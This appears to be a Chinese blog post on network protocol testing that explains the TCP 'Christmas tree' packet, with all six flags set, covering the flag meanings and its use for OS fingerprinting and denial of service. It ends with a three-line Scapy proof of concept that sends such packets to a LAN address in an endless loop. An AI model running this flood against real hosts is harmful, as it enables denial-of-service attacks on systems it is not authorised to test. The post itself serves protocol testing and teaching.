当前位置: 首页 > news >正文

【网络协议测试】畸形数据包——圣诞树攻击(DOS攻击)

简介

TCP所有标志位被设置为1的数据包被称为圣诞树数据包(XMas Tree packet),之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。

标志位介绍

TCP报文格式:
在这里插入图片描述
控制标志(Control Bits)共6个bit位,分别为URG、ACK、PSH、RST、SYN、FIN。

标志位说明
URG高优先级数据包
ACK确认连接
PSH要求对方数据尽快达到应用层
RST重置或拒绝连接
SYN连接请求(SYN=1)或连接接受报文(SYN=1,ACK=1)
FIN数据发送完毕,请求释放连接

当你发送了这样一个数据包之后,不同的操作系统对其的响应方式是不一样的,因此可以作为目标系统探测的一种方式(6个标志全部为0 ,如果端口是关闭的,Windows机器将应答一个RST | ACK消息,而对于一个开放端口的Linux和UNIX机器则不会应答。)。
此外,通常来说,目标系统需要对这个数据包进行更复杂的处理(毕竟点的灯比较多),相比一般的包处理耗费的资源会更多,因此也可以用作DOS攻击。

附Poc:

from scapy.all import *
pkt_tree=IP(dst='192.168.1.2')/TCP(dport=8081,flags=0x03f)
while True:send(pkt_tree)

在这里插入图片描述

http://www.lryc.cn/news/288979.html

相关文章:

  • Java基础面试题-5day
  • 软通智慧启动鲲鹏原生应用开发合作
  • 【STM32】STM32F4中USB的CDC虚拟串口(VCP)使用方法
  • 网络协议与攻击模拟_06攻击模拟SYN Flood
  • CPU,内存和硬盘之间的关系
  • Java面试题之基础篇
  • Bitbucket第一次代码仓库创建/提交/创建新分支/合并分支/忽略ignore
  • c#反射用法
  • WPF行为
  • N-141基于springboot,vue网上拍卖平台
  • Unity之Cinemachine教程
  • java面面试面经(面试过程)
  • 大语言模型-大模型基础文献
  • 【RH850U2A芯片】Reset Vector和Interrupt Vector介绍
  • Zabbix交换分区使用率过高排查
  • ‘HEAD‘ 是 HTTP 请求的一种方法
  • go语言(十七)----json
  • Java笔记 --- 四、异常
  • Ubuntu20.04配置grub ,不必每次都输入 nomodeset
  • PBM模型学习(七)核化模型
  • 蓝桥小白赛4 乘飞机 抽屉原理 枚举
  • HTML新手教程
  • P1226 【模板】快速幂题解
  • 文旅游戏的多元应用场景
  • 小波变化最通俗的解释,小波变换是用来干什么的,类似小波变换功能的算法有哪些?
  • Servlet 与 MVC
  • 基于单片机的感应自动门控制器的设计
  • 兄弟HL-1208黑白激光打印机清零方法
  • 第二百八十八回
  • 【日常学习笔记】gtest